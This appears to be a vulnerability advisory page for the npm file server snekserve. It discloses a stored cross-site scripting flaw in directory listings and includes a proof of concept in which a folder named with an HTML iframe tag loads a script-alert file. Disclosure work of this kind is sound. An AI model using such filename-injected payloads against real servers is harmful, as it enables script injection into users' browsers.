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snekserve@1.0.0-beta.1 vulnerabilities

A tiny HTTP file server with directory listing.

  • latest version

    1.0.0-beta.1

  • first published

    6 years ago

  • latest version published

    6 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the snekserve package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Cross-site Scripting (XSS)

    snekserve is a lightweight file server.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) he filenames aren't checked correctly, leading to stored XSS inside the directory listing.

    PoC by mik317

    • Create a PoC file like this:
    <!-- malicious.html -->
<script>alert(document.domain)</script>
    • Run the following commands:
    npm i snekserve -g # Installs the CLI version of the module
mkdir '<iframe src=..\malicious.html>' # Creates the malicious *HTML formatted* folder
snekserve # Starts the server
    • Open a browser and go on http://localhost:8080, you'll see the alert(document.domain) code executed

    How to fix Cross-site Scripting (XSS)?

    There is no fixed version for snekserve.

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